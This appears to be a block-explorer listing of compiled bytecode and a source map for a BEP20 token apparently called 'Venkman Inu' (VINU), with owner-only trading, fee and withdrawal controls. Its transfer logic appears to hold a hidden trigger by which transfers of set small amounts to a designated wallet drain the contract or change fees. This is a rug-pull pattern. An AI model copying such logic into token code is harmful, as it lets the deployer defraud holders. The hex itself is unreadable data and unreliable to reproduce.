5b50506001821b6105b5565b5060208310610133831016604e8410600b8410161715611903575081810a6105b5565b61190d8383611845565b80600019048211156119215761192161182f565b029392505050565b60006110d260ff841683611888565b60008160001904831182151516156119525761195261182f565b500290565b6000828210156119695761196961182f565b500390565b60008261198b57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156119a3576119a361182f565b500190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156119d057600080fd5b81516110d2816116cd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611a6157600080fd5b835192506020840151915060408401519050925092509256fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec8ff1d6fcd1c9770427cd2208fbf87af575e391bc3bd26c5e0e293ea8a90dcc64736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80638b0414d5116100ec578063dd62ed3e1161008a578063f0b37c0411610064578063f0b37c0414610524578063f2fde38b14610544578063fd3e6a0a14610564578063fe9fbb801461058457600080fd5b8063dd62ed3e146104a9578063df20fd49146104ef578063e2b100f71461050f57600080fd5b8063a8aa1b31116100c6578063a8aa1b3114610434578063a9059cbb14610454578063b6a5d7de14610474578063d357f89c1461049457600080fd5b80638b0414d5146103c75780638c232838146103e757806395d89b411461040757600080fd5b8063313ce5671161015957806375b2f5c51161013357806375b2f5c51461034957806378109e54146103695780637d1db4a51461037f578063893d20e81461039557600080fd5b8063313ce567146102d757806370a08231146102f3578063749796a51461032957600080fd5b806318160ddd1161019557806318160ddd1461025457806323b872dd146102735780632b112e49146102935780632f54bf6e146102a857600080fd5b806306fdde03146101c7578063095ea7b31461020d5780630cc9606c1461023d57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600b81526a56656e6b6d616e20496e7560a81b60208201525b6040516102049190611678565b60405180910390f35b34801561021957600080fd5b5061022d6102283660046116e5565b6105a4565b6040519015158152602001610204565b34801561024957600080fd5b506102526105bb565b005b34801561026057600080fd5b506002545b604051908152602001610204565b34801561027f57600080fd5b5061022d61028e366004611711565b6105f3565b34801561029f57600080fd5b5061026561065c565b3480156102b457600080fd5b5061022d6102c3366004611752565b6000546001600160a01b0391821691161490565b3480156102e357600080fd5b5060405160098152602001610204565b3480156102ff57600080fd5b5061026561030e366004611752565b6001600160a01b031660009081526013602052604090205490565b34801561033557600080fd5b50610252610344366004611752565b6106cd565b34801561035557600080fd5b50610252610364366004611711565b610716565b34801561037557600080fd5b5061026560045481565b34801561038b57600080fd5b5061026560035481565b3480156103a157600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610204565b3480156103d357600080fd5b506102526103e2366004611752565b610843565b3480156103f357600080fd5b50610265610402366004611752565b6108a2565b34801561041357600080fd5b5060408051808201909152600481526356494e5560e01b60208201526101f7565b34801561044057600080fd5b506016546103af906001600160a01b031681565b34801561046057600080fd5b5061022d61046f3660046116e5565b6108d1565b34801561048057600080fd5b5061025261048f366004611752565b6108de565b3480156104a057600080fd5b5061025261092a565b3480156104b557600080fd5b506102656104c436600461176f565b6001600160a01b03918216600090815260146020908152604080832093909416825291909152205490565b3480156104fb57600080fd5b5061025261050a3660046117b6565b61098d565b34801561051b57600080fd5b506102526109c9565b34801561053057600080fd5b5061025261053f366004611752565b6109ff565b34801561055057600080fd5b5061025261055f366004611752565b610a45565b34801561057057600080fd5b5061025261057f366004611711565b610ad6565b34801561059057600080fd5b5061022d61059f366004611752565b610b0b565b60006105b1338484610b29565b5060015b92915050565b6105c433610b0b565b6105e95760405162461bcd60e51b81526004016105e0906117d4565b60405180910390fd5b6105f1610c4e565b565b6000610600848484610c6f565b610652843361064d85604051806060016040528060288152602001611a7b602891396001600160a01b038a166000908152601460209081526040808320338452909152902054919061109a565b610b29565b5060019392505050565b60136020527f8fa6efc3be94b5b348b21fea823fe8d100408cee9b7f90524494500445d8ff6c5461dead60009081527f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c5460025491926106c89290916106c291906110c6565b906110c6565b905090565b6106d633610b0b565b6106f25760405162461bcd60e51b81526004016105e0906117d4565b6001600160a01b03166000908152601b60205260409020805460ff19166001179055565b61071f33610b0b565b61073b5760405162461bcd60e51b81526004016105e0906117d4565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a691906117f9565b90506001600160a01b03841663a9059cbb846107cd60646107c786886110d9565b906110e5565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610818573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083c9190611812565b5050505050565b61084c33610b0b565b6108685760405162461bcd60e51b81526004016105e0906117d4565b601880546001600160a01b039092166001600160a01b0319909216821790556000908152601960205260409020805460ff19166001179055565b6016546000906001600160a01b038381169116146108c9576009546008546105b5916110f1565b505060085490565b60006105b1338484610c6f565b6108e733610b0b565b6109035760405162461bcd60e51b81526004016105e0906117d4565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b61093333610b0b565b61094f5760405162461bcd60e51b81526004016105e0906117d4565b60185460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610989573d6000803e3d6000fd5b5050565b61099633610b0b565b6109b25760405162461bcd60e51b81526004016105e0906117d4565b600b805460ff191692151592909217909155600f55565b6109d233610b0b565b6109ee5760405162461bcd60e51b81526004016105e0906117d4565b600e805461ff001916610100179055565b610a0833610b0b565b610a245760405162461bcd60e51b81526004016105e0906117d4565b6001600160a01b03166000908152600160205260409020805460ff19169055565b610a4e33610b0b565b610a6a5760405162461bcd60e51b81526004016105e0906117d4565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b610adf33610b0b565b610afb5760405162461bcd60e51b81526004016105e0906117d4565b610b068383836110fd565b505050565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b038316610b8b5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e0565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e0565b6001600160a01b0383811660008181526014602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610c6a60016106c2600854600a546110c690919063ffffffff16565b600955565b6001600160a01b0383166000908152601b602052604090205460ff16158015610cb157506001600160a01b0382166000908152601b602052604090205460ff16155b15610d0357600e54610100900460ff16610d035760405162461bcd60e51b815260206004820152601360248201527215149051125391c81393d50814d51054951151606a1b60448201526064016105e0565b6001600160a01b0383166000908152601b602052604090205460ff16158015610d4557506001600160a01b0382166000908152601b602052604090205460ff16155b8015610d5c57506001600160a01b03821661dead14155b8015610d7657506016546001600160a01b03838116911614155b15610ddc576004546001600160a01b038316600090815260136020526040902054610da190836110f1565b1115610ddc5760405162461bcd60e51b815260206004820152600a6024820152691350560815d05313115560b21b60448201526064016105e0565b6001600160a01b0383166000908152601b602052604090205460ff16158015610e1e57506001600160a01b0382166000908152601b602052604090205460ff16155b8015610e3557506001600160a01b03821661dead14155b15610e7557600354811115610e755760405162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b60448201526064016105e0565b6001600160a01b03821660009081526019602052604090205460ff168015610eb25750610ea46009600a611929565b610eaf906002611938565b81105b15610ebf57610ebf61092a565b6001600160a01b03821660009081526019602052604090205460ff168015610efd5750610eee6009600a611929565b610ef9906002611938565b8110155b8015610f1e5750610f106009600a611929565b610f1b906003611938565b81105b15610f2b57610f2b610c4e565b6016546001600160a01b03848116911614801590610f6257506001600160a01b0383166000908152601b602052604090205460ff16155b15610f7957600c54610f759060016110f1565b600c555b610f838383611174565b15610f9957610f93600f5461120c565b6000600c555b60408051808201825260018152602b60f81b6020808301919091526001600160a01b038616600090815260139091529190912054610fd891839061109a565b6001600160a01b038416600090815260136020526040812091909155610ffe848461134a565b6110085781611012565b6110128483611390565b6001600160a01b03841660009081526013602052604090205490915061103890826110f1565b6001600160a01b0380851660008181526013602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061108c9085815260200190565b60405180910390a350505050565b600081848411156110be5760405162461bcd60e51b81526004016105e09190611678565b505050900390565b60006110d28284611957565b9392505050565b60006110d28284611938565b60006110d2828461196e565b60006110d28284611990565b6001600160a01b03821660009081526013602052604090205461112090826110f1565b6001600160a01b0380841660008181526013602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c419085815260200190565b600f5430600090815260136020526040812054600e54919211159060ff161580156111a15750600b5460ff165b80156111c657506001600160a01b0384166000908152601b602052604090205460ff16155b80156111eb57506001600160a01b0383166000908152601b602052604090205460ff16155b80156111fb5750600d54600c5410155b80156112045750805b949350505050565b600e805460ff1916600117905560125460105460115460009261123a929091611234916110f1565b906110f1565b611245906002611938565b90506000611262826107c7601154866110d990919063ffffffff16565b9050600061127084836110c6565b90504761127c82611471565b600061128847836110c6565b905060006112ab6112a4601154886110c690919063ffffffff16565b83906110e5565b905060006112c4601154836110d990919063ffffffff16565b905080156112d6576112d686826115cb565b6010546000906112f1906112eb8560026110d9565b906110d9565b90508015611335576018546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611333573d6000803e3d6000fd5b505b5050600e805460ff1916905550505050505050565b6001600160a01b0382166000908152601b602052604081205460ff161580156110d25750506001600160a01b03166000908152601b602052604090205460ff1615919050565b60008060085411806113bd57506016546001600160a01b038481169116148015906113bd57506000600954115b1561146b5760006113dd600a546107c76113d6876108a2565b86906110d9565b9050801561145957306000908152601360205260409020546113ff90826110f1565b30600081815260136020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114509085815260200190565b60405180910390a35b61146383826110c6565b9150506105b5565b50919050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114a6576114a66119a8565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906119be565b81600181518110611536576115366119a8565b6001600160a01b03928316602091820292909201015260155461155c9130911684610b29565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115959085906000908690309042906004016119db565b600060405180830381600087803b1580156115af57600080fd5b505af11580156115c3573d6000803e3d6000fd5b505050505050565b6015546115e39030906001600160a01b031684610b29565b60155460175460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611653573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083c9190611a4c565b600060208083528351808285015260005b818110156116a557858101830151858201604001528201611689565b818111156116b7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146116e257600080fd5b50565b600080604083850312156116f857600080fd5b8235611703816116cd565b946020939093013593505050565b60008060006060848603121561172657600080fd5b8335611731816116cd565b92506020840135611741816116cd565b929592945050506040919091013590565b60006020828403121561176457600080fd5b81356110d2816116cd565b6000806040838503121561178257600080fd5b823561178d816116cd565b9150602083013561179d816116cd565b809150509250929050565b80151581146116e257600080fd5b600080604083850312156117c957600080fd5b8235611703816117a8565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b60006020828403121561180b57600080fd5b5051919050565b60006020828403121561182457600080fd5b81516110d2816117a8565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118805781600019048211156118665761186661182f565b8085161561187357918102915b93841c939080029061184a565b509250929050565b600082611897575060016105b5565b816118a4575060006105b5565b81600181146118ba57600281146118c4576118e0565b60019150506105b5565b60ff8411156118d5576118d561182f565b50506001821b6105b5565b5060208310610133831016604e8410600b8410161715611903575081810a6105b5565b61190d8383611845565b80600019048211156119215761192161182f565b029392505050565b60006110d260ff841683611888565b60008160001904831182151516156119525761195261182f565b500290565b6000828210156119695761196961182f565b500390565b60008261198b57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156119a3576119a361182f565b500190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156119d057600080fd5b81516110d2816116cd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611a6157600080fd5b835192506020840151915060408401519050925092509256fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec8ff1d6fcd1c9770427cd2208fbf87af575e391bc3bd26c5e0e293ea8a90dcc64736f6c634300080d0033

Deployed Bytecode Sourcemap

4862:9271:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6882:67;;;;;;;;;;-1:-1:-1;6942:5:0;;;;;;;;;;;;-1:-1:-1;;;6942:5:0;;;;6882:67;;;;;;;:::i;:::-;;;;;;;;7753:133;;;;;;;;;;-1:-1:-1;7753:133:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7753:133:0;1072:187:1;13497:81:0;;;;;;;;;;;;;:::i;:::-;;7105:84;;;;;;;;;;-1:-1:-1;7175:12:0;;7105:84;;;1410:25:1;;;1398:2;1383:18;7105:84:0;1264:177:1;8036:309:0;;;;;;;;;;-1:-1:-1;8036:309:0;;;;;:::i;:::-;;:::i;7892:132::-;;;;;;;;;;;;;:::i;3523:87::-;;;;;;;;;;-1:-1:-1;3523:87:0;;;;;:::i;:::-;3578:4;3603:5;-1:-1:-1;;;;;3592:16:0;;;3603:5;;3592:16;;3523:87;7032:67;;;;;;;;;;-1:-1:-1;7032:67:0;;5072:1;2301:36:1;;2289:2;2274:18;7032:67:0;2159:184:1;7279:103:0;;;;;;;;;;-1:-1:-1;7279:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7362:18:0;7345:7;7362:18;;;:9;:18;;;;;;;7279:103;12364:108;;;;;;;;;;-1:-1:-1;12364:108:0;;;;;:::i;:::-;;:::i;13907:223::-;;;;;;;;;;-1:-1:-1;13907:223:0;;;;;:::i;:::-;;:::i;5216:63::-;;;;;;;;;;;;;;;;5149:60;;;;;;;;;;;;;;;;7195:78;;;;;;;;;;-1:-1:-1;7247:7:0;7265:5;-1:-1:-1;;;;;7265:5:0;7195:78;;;-1:-1:-1;;;;;2512:32:1;;;2494:51;;2482:2;2467:18;7195:78:0;2348:203:1;10150:132:0;;;;;;;;;;-1:-1:-1;10150:132:0;;;;;:::i;:::-;;:::i;10290:160::-;;;;;;;;;;-1:-1:-1;10290:160:0;;;;;:::i;:::-;;:::i;6955:71::-;;;;;;;;;;-1:-1:-1;7017:7:0;;;;;;;;;;;;-1:-1:-1;;;7017:7:0;;;;6955:71;;5980:19;;;;;;;;;;-1:-1:-1;5980:19:0;;;;-1:-1:-1;;;;;5980:19:0;;;7475:139;;;;;;;;;;-1:-1:-1;7475:139:0;;;;;:::i;:::-;;:::i;3350:79::-;;;;;;;;;;-1:-1:-1;3350:79:0;;;;;:::i;:::-;;:::i;13186:151::-;;;;;;;;;;;;;:::i;7620:127::-;;;;;;;;;;-1:-1:-1;7620:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7718:18:0;;;7701:7;7718:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7620:127;12575:161;;;;;;;;;;-1:-1:-1;12575:161:0;;;;;:::i;:::-;;:::i;12480:87::-;;;;;;;;;;;;;:::i;3435:82::-;;;;;;;;;;-1:-1:-1;3435:82:0;;;;;:::i;:::-;;:::i;3715:174::-;;;;;;;;;;-1:-1:-1;3715:174:0;;;;;:::i;:::-;;:::i;13345:144::-;;;;;;;;;;-1:-1:-1;13345:144:0;;;;;:::i;:::-;;:::i;3616:91::-;;;;;;;;;;-1:-1:-1;3616:91:0;;;;;:::i;:::-;;:::i;7753:133::-;7828:4;7835:37;7844:10;7856:7;7865:6;7835:8;:37::i;:::-;-1:-1:-1;7880:4:0;7753:133;;;;;:::o;13497:81::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;;;;;;;;;13556:14:::1;:12;:14::i;:::-;13497:81::o:0;8036:309::-;8134:4;8151:36;8161:6;8169:9;8180:6;8151:9;:36::i;:::-;8198:117;8207:6;8215:10;8227:87;8263:6;8227:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8227:19:0;;;;;;:11;:19;;;;;;;;8247:10;8227:31;;;;;;;;;:87;:35;:87::i;:::-;8198:8;:117::i;:::-;-1:-1:-1;8333:4:0;8036:309;;;;;:::o;7892:132::-;7362:9;:18;;;;6219:42;7945:7;7362:18;;;;;7962:12;;7945:7;;7962:60;;7362:18;;7962:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;7955:67;;7892:132;:::o;12364:108::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12436:21:0::1;;::::0;;;:11:::1;:21;::::0;;;;:28;;-1:-1:-1;;12436:28:0::1;12460:4;12436:28;::::0;;12364:108::o;13907:223::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;14018:39:::1;::::0;-1:-1:-1;;;14018:39:0;;14051:4:::1;14018:39;::::0;::::1;2494:51:1::0;14003:12:0::1;::::0;-1:-1:-1;;;;;14018:24:0;::::1;::::0;::::1;::::0;2467:18:1;;14018:39:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14003:54:::0;-1:-1:-1;;;;;;14068:23:0;::::1;;14092:4:::0;14098:23:::1;14117:3;14098:14;14003:54:::0;14107:4;14098:8:::1;:14::i;:::-;:18:::0;::::1;:23::i;:::-;14068:54;::::0;-1:-1:-1;;;;;;14068:54:0::1;::::0;;;;;;-1:-1:-1;;;;;4367:32:1;;;14068:54:0::1;::::0;::::1;4349:51:1::0;4416:18;;;4409:34;4322:18;;14068:54:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13992:138;13907:223:::0;;;:::o;10150:132::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;10223:9:::1;:22:::0;;-1:-1:-1;;;;;10223:22:0;;::::1;-1:-1:-1::0;;;;;;10223:22:0;;::::1;::::0;::::1;::::0;;:9:::1;10247:20:::0;;;:8:::1;:20;::::0;;;;:27;;-1:-1:-1;;10247:27:0::1;10223:22:::0;10247:27:::1;::::0;;10150:132::o;10290:160::-;10381:4;;10348:7;;-1:-1:-1;;;;;10371:14:0;;;10381:4;;10371:14;10368:49;;10407:7;;10394:8;;:21;;:12;:21::i;10368:49::-;-1:-1:-1;;10434:8:0;;;10290:160::o;7475:139::-;7553:4;7560:40;7570:10;7582:9;7593:6;7560:9;:40::i;3350:79::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3401:19:0::1;;::::0;;;3423:4:::1;3401:19;::::0;;;;;;;:26;;-1:-1:-1;;3401:26:0::1;::::0;;::::1;::::0;;3350:79::o;13186:151::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;13299:9:::1;::::0;13291:38:::1;::::0;13259:21:::1;::::0;-1:-1:-1;;;;;13299:9:0::1;::::0;13291:38;::::1;;;::::0;13259:21;;13239:17:::1;13291:38:::0;13239:17;13291:38;13259:21;13299:9;13291:38;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13228:109;13186:151::o:0;12575:161::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;12669:11:::1;:21:::0;;-1:-1:-1;;12669:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;12702:13:::1;:26:::0;12575:161::o;12480:87::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;12539:13:::1;:20:::0;;-1:-1:-1;;12539:20:0::1;;;::::0;;12480:87::o;3435:82::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3488:19:0::1;3510:5;3488:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;3488:27:0::1;::::0;;3435:82::o;3715:174::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;3792:5:::1;:11:::0;;-1:-1:-1;;;;;;3792:11:0::1;-1:-1:-1::0;;;;;3792:11:0;::::1;::::0;;::::1;::::0;;3814:19;;;-1:-1:-1;3814:19:0::1;::::0;;;;;;;;:26;;-1:-1:-1;;3814:26:0::1;::::0;;::::1;::::0;;;3856:25;;2494:51:1;;;3856:25:0::1;::::0;2467:18:1;3856:25:0::1;;;;;;;3715:174:::0;:::o;13345:144::-;3299:24;3312:10;3299:12;:24::i;:::-;3291:48;;;;-1:-1:-1;;;3291:48:0;;;;;;;:::i;:::-;13446:35:::1;13455:6;13463:9;13474:6;13446:8;:35::i;:::-;13345:144:::0;;;:::o;3616:91::-;-1:-1:-1;;;;;3686:19:0;3672:4;3686:19;;;:14;:19;;;;;;;;;3616:91::o;8564:335::-;-1:-1:-1;;;;;8657:19:0;;8649:68;;;;-1:-1:-1;;;8649:68:0;;5122:2:1;8649:68:0;;;5104:21:1;5161:2;5141:18;;;5134:30;5200:34;5180:18;;;5173:62;-1:-1:-1;;;5251:18:1;;;5244:34;5295:19;;8649:68:0;4920:400:1;8649:68:0;-1:-1:-1;;;;;8736:21:0;;8728:68;;;;-1:-1:-1;;;8728:68:0;;5527:2:1;8728:68:0;;;5509:21:1;5566:2;5546:18;;;5539:30;5605:34;5585:18;;;5578:62;-1:-1:-1;;;5656:18:1;;;5649:32;5698:19;;8728:68:0;5325:398:1;8728:68:0;-1:-1:-1;;;;;8807:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8859:32;;1410:25:1;;;8859:32:0;;1383:18:1;8859:32:0;;;;;;;;8564:335;;;:::o;7388:81::-;7432:35;7465:1;7432:28;7451:8;;7432:14;;:18;;:28;;;;:::i;:35::-;7422:7;:45;7388:81::o;8907:1235::-;-1:-1:-1;;;;;9000:19:0;;;;;;:11;:19;;;;;;;;8999:20;:47;;;;-1:-1:-1;;;;;;9024:22:0;;;;;;:11;:22;;;;;;;;9023:23;8999:47;8996:99;;;9056:13;;;;;;;9048:45;;;;-1:-1:-1;;;9048:45:0;;5930:2:1;9048:45:0;;;5912:21:1;5969:2;5949:18;;;5942:30;-1:-1:-1;;;5988:18:1;;;5981:49;6047:18;;9048:45:0;5728:343:1;9048:45:0;-1:-1:-1;;;;;9109:19:0;;;;;;:11;:19;;;;;;;;9108:20;:47;;;;-1:-1:-1;;;;;;9133:22:0;;;;;;:11;:22;;;;;;;;9132:23;9108:47;:77;;;;-1:-1:-1;;;;;;9159:26:0;;6219:42;9159:26;;9108:77;:98;;;;-1:-1:-1;9202:4:0;;-1:-1:-1;;;;;9189:17:0;;;9202:4;;9189:17;;9108:98;9105:195;;;9268:15;;-1:-1:-1;;;;;9231:20:0;;;;;;:9;:20;;;;;;:32;;9256:6;9231:24;:32::i;:::-;9230:53;;9222:76;;;;-1:-1:-1;;;9222:76:0;;6278:2:1;9222:76:0;;;6260:21:1;6317:2;6297:18;;;6290:30;-1:-1:-1;;;6336:18:1;;;6329:40;6386:18;;9222:76:0;6076:334:1;9222:76:0;-1:-1:-1;;;;;9314:19:0;;;;;;:11;:19;;;;;;;;9313:20;:47;;;;-1:-1:-1;;;;;;9338:22:0;;;;;;:11;:22;;;;;;;;9337:23;9313:47;:77;;;;-1:-1:-1;;;;;;9364:26:0;;6219:42;9364:26;;9313:77;9310:139;;;9424:12;;9414:6;:22;;9406:41;;;;-1:-1:-1;;;9406:41:0;;6617:2:1;9406:41:0;;;6599:21:1;6656:1;6636:18;;;6629:29;-1:-1:-1;;;6674:18:1;;;6667:36;6720:18;;9406:41:0;6415:329:1;9406:41:0;-1:-1:-1;;;;;9462:19:0;;;;;;:8;:19;;;;;;;;:53;;;;-1:-1:-1;9499:15:0;5072:1;9499:2;:15;:::i;:::-;9494:21;;:1;:21;:::i;:::-;9485:6;:30;9462:53;9459:74;;;9517:14;:12;:14::i;:::-;-1:-1:-1;;;;;9546:19:0;;;;;;:8;:19;;;;;;;;:54;;;;-1:-1:-1;9584:15:0;5072:1;9584:2;:15;:::i;:::-;9579:21;;:1;:21;:::i;:::-;9569:6;:31;;9546:54;:88;;;;-1:-1:-1;9618:15:0;5072:1;9618:2;:15;:::i;:::-;9613:21;;:1;:21;:::i;:::-;9604:6;:30;9546:88;9543:109;;;9636:14;:12;:14::i;:::-;9675:4;;-1:-1:-1;;;;;9665:14:0;;;9675:4;;9665:14;;;;:38;;-1:-1:-1;;;;;;9684:19:0;;;;;;:11;:19;;;;;;;;9683:20;9665:38;9662:73;;;9717:9;;:16;;9731:1;9717:13;:16::i;:::-;9705:9;:28;9662:73;9748:33;9763:6;9771:9;9748:14;:33::i;:::-;9745:84;;;9783:29;9798:13;;9783:14;:29::i;:::-;9826:1;9814:9;:13;9745:84;9859:34;;;;;;;;;;;-1:-1:-1;;;9859:34:0;;;;;;;;-1:-1:-1;;;;;9859:17:0;;-1:-1:-1;9859:17:0;;;:9;:17;;;;;;;;:34;;9881:6;;9859:21;:34::i;:::-;-1:-1:-1;;;;;9839:17:0;;;;;;:9;:17;;;;;:54;;;;9929:32;9849:6;9951:9;9929:13;:32::i;:::-;:72;;9995:6;9929:72;;;9964:28;9977:6;9985;9964:12;:28::i;:::-;-1:-1:-1;;;;;10035:20:0;;;;;;:9;:20;;;;;;9904:97;;-1:-1:-1;10035:40:0;;9904:97;10035:24;:40::i;:::-;-1:-1:-1;;;;;10012:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10091:43;;;;;;;;;;10119:14;1410:25:1;;1398:2;1383:18;;1264:177;10091:43:0;;;;;;;;8985:1157;8907:1235;;;:::o;2467:162::-;2553:7;2599:12;2591:6;;;;2583:29;;;;-1:-1:-1;;;2583:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2621:5:0;;;2467:162::o;1254:82::-;1312:7;1329:5;1333:1;1329;:5;:::i;:::-;1322:12;1254:82;-1:-1:-1;;;1254:82:0:o;1342:::-;1400:7;1417:5;1421:1;1417;:5;:::i;1430:82::-;1488:7;1505:5;1509:1;1505;:5;:::i;1166:82::-;1224:7;1241:5;1245:1;1241;:5;:::i;8353:203::-;-1:-1:-1;;;;;8465:20:0;;;;;;:9;:20;;;;;;:32;;8490:6;8465:24;:32::i;:::-;-1:-1:-1;;;;;8442:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8513:35;;;;;;;;;;8541:6;1410:25:1;;1398:2;1383:18;;1264:177;13586:313:0;13735:13;;13725:4;13668;7362:18;;;:9;:18;;;;;;13767:8;;13668:4;;-1:-1:-1;13707:41:0;;13767:8;;13766:9;:24;;;;-1:-1:-1;13779:11:0;;;;13766:24;:48;;;;-1:-1:-1;;;;;;13795:19:0;;;;;;:11;:19;;;;;;;;13794:20;13766:48;:75;;;;-1:-1:-1;;;;;;13819:22:0;;;;;;:11;:22;;;;;;;;13818:23;13766:75;:107;;;;;13868:5;;13855:9;;:18;;13766:107;:125;;;;;13877:14;13766:125;13759:132;13586:313;-1:-1:-1;;;;13586:313:0:o;10626:924::-;5685:8;:15;;-1:-1:-1;;5685:15:0;5696:4;5685:15;;;10762:14:::1;::::0;10740:16:::1;::::0;10719::::1;::::0;5685:8;;10719:58:::1;::::0;10762:14;;10719:38:::1;::::0;:20:::1;:38::i;:::-;:42:::0;::::1;:58::i;:::-;10718:64;::::0;10781:1:::1;10718:64;:::i;:::-;10697:85;;10793:32;10828:45;10861:11;10828:28;10839:16;;10828:6;:10;;:28;;;;:::i;:45::-;10793:80:::0;-1:-1:-1;10884:14:0::1;10901:36;:6:::0;10793:80;10901:10:::1;:36::i;:::-;10884:53:::0;-1:-1:-1;10973:21:0::1;11005:24;10884:53:::0;11005:16:::1;:24::i;:::-;11040:20;11063:41;:21;11089:14:::0;11063:25:::1;:41::i;:::-;11040:64;;11115:19;11136:51;11153:33;11169:16;;11153:11;:15;;:33;;;;:::i;:::-;11136:12:::0;;:16:::1;:51::i;:::-;11115:72;;11198:29;11230:33;11246:16;;11230:11;:15;;:33;;;;:::i;:::-;11198:65:::0;-